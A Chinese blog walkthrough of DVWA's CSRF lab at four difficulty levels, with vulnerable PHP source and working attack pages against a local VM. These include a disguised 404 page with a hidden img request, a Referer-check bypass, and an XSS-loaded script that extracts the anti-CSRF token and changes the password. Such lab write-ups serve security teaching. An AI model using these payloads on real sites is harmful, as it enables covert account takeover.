CSRF 简介

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密码等)

CSRF 与 XSS 最大的区别就在于,CSRF 并没有盗取 cookie 而是直接利用


Low

分析

给了一个改密码的窗口,在新密码和确认新密码的框中都输入 123 并提交,可以看到页面是通过 GET 传参的,并且显示密码修改成功

CSRF

如果攻击者就构造这样的一个 url 恶意链接,诱使用户在存有该网页 cookie 等身份验证信息的浏览器中点击,那么受害者的密码就会在其不知情的情况下被修改

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// vulnerabilities/csrf/source/low.php
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}

mysql_close();
}

?>

// dvwa/includes/dvwaPage.inc.php
function dvwaCurrentUser() {
$dvwaSession =& dvwaSessionGrab(); // 返回用户 SESSION 数组
return ( isset( $dvwaSession[ 'username' ]) ? $dvwaSession[ 'username' ] : '') ;
}

服务器只是简单地判断传过来的两个参数相不相等,相等就调用 dvwaCurrentUser 找到当前用户名的记录进行修改

不过真的有人会点这么明显的恶意 url 吗?我们不妨对其进行伪装

短网址

使用百度提供的短网址服务将网址缩短,因为 DVWA 是搭建在虚拟机中的,使用的是 ip 访问,所以无法使用该服务,只有公网域名 url 才可以被缩短

CSRF

不过在实际攻击环境中,存在 CSRF 漏洞的公网网站一般都有域名,这倒不用担心

使用伪装页面

可以在自己的公网服务器上构建一个网页,并将恶意 url 隐藏在某些标签里,使用户访问或点击自己的网站时,造成恶意 url 的访问

我在另一个 kali 虚拟机中构造了如下网页,伪装成 404,恶意 url 藏在 img 标签中,网页加载图片时就会访问

其实在用户用同一个浏览器访问这个网页时,另一个网站中的用户密码就会被修改,受害者还以为仅仅是访问到了一个不存在的页面

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.41 (Debian) Server</address>
<img src="http://192.168.249.129/dvwa/vulnerabilities/csrf/?password_new=456&password_conf=456&Change=Change#" border="0" style="display:none;"/>
</body>
</html>

kali 的 ip 为 192.168.249.128,这时 DVWA 中的登录密码已被修改为 456

CSRF

返回登录界面用默认密码 password 登录,失败

CSRF


Medium

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// vulnerabilities/csrf/source/medium.php

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
$html .= "<pre>That request didn't look correct.</pre>";
}

mysql_close();
}

?>

这次使用 eregi 函数在 $_SERVER[ ‘HTTP_REFERER’ ] 中匹配 $_SERVER[ ‘SERVER_NAME’ ],也就是请求头中的 Referer 字段的值中必须有 Host 字段的值

Referer 告诉服务器本次访问你从哪个页面来,Host 是访问的服务器主机名

CSRF

这种防御机制企图将用户的访问限制在同一个网站内,从别的 域名/ip 过来的访问都会被阻止

但如果我们将自己构造的网页名改为目标网站主机名.html,就可以轻松绕过这个限制

把 Low 中写的 test.html 改为 192.168.249.129.html,并将修改的密码改为 789,访问

CSRF

DVWA 的登录密码便被改为了 789


High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// vulnerabilities/csrf/source/high.php

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}

mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

High 中增加了 token 机制,怎样获取用户 token 是现在需要考虑的问题


失败的尝试

起初我考虑在 192.168.249.129.html 中包含一个 test.js

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<head>
<title>404 Not Found</title>
<script type="text/javascript" src="test.js"></script>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.41 (Debian) Server</address>
</body>
</html>

js 的内容就是访问 CSRF 的页面并获取用户 token

1
2
3
4
5
6
var url = "http://192.168.249.129/dvwa/vulnerabilities/csrf/";
xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true; // 跨转请求携带cookie
xmlhttp.open("GET", url, false);
xmlhttp.send();
console.log(xmlhttp.responseText); // 响应报文输出到控制台

但是当我以受害者的身份访问 192.168.249.129.html 时,请求被拦截了

CSRF

百度了一下,发现是 CORS 机制在捣鬼

CORS是一种允许当前域的资源(比如 html / js / web service)被其他域的脚本请求访问的机制,通常由于同域安全策略,浏览器会禁止这种跨域请求

所以单靠 CSRF 已经无法利用漏洞了


结合存储型 XSS 获取 token

先将 DVWA 难度设为 Medium,在 XSS Stored 分栏的 name 输入框中包含远程 test.js 文件,我的 这篇文章 有提及 XSS 如何包含远程 js

然后将难度重新调回 High,在自己的服务器上写好 test.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var flag = 1
var url = "http://192.168.249.129/dvwa/vulnerabilities/csrf/";
var new_pass = "123456"; // 设置新密码

req = new XMLHttpRequest();
req.withCredentials = true;

req.onreadystatechange = function(){ // 重写onreadystatechange方法
if(req.readyState == 4 && req.status == 200){
var text = req.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/; //正则匹配token
var match = text.match(regex);
if(flag != 0){
flag = 0; // 设置符号位,防止一直执行
var token = match[1];
var new_url = url + "?user_token=" + token;
new_url += "&password_new="+ new_pass;
new_url += "&password_conf="+ new_pass;
new_url += "&Change=Change";
// alert('Token: ' + match[1]);
req.open("GET", new_url, false);
req.send();
}
}
};

req.open("GET", url, false);
req.send();

现在就可以在浏览器中作为受害者访问 XSS Stored 的页面,此时密码就被改为 123456 了


Impossible

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// vulnerabilities/csrf/source/impossible.php

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );

// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );

// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match or current password incorrect.</pre>";
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Impossible 给出的解决方案很简单,更改密码时,让用户输入现有的密码,当现有密码正确时才能修改密码

攻击者如果无法获知受害者当前密码,CSRF 自然就无法利用

再说了,如果攻击者知晓了受害者当前密码还用费劲玩这些 = =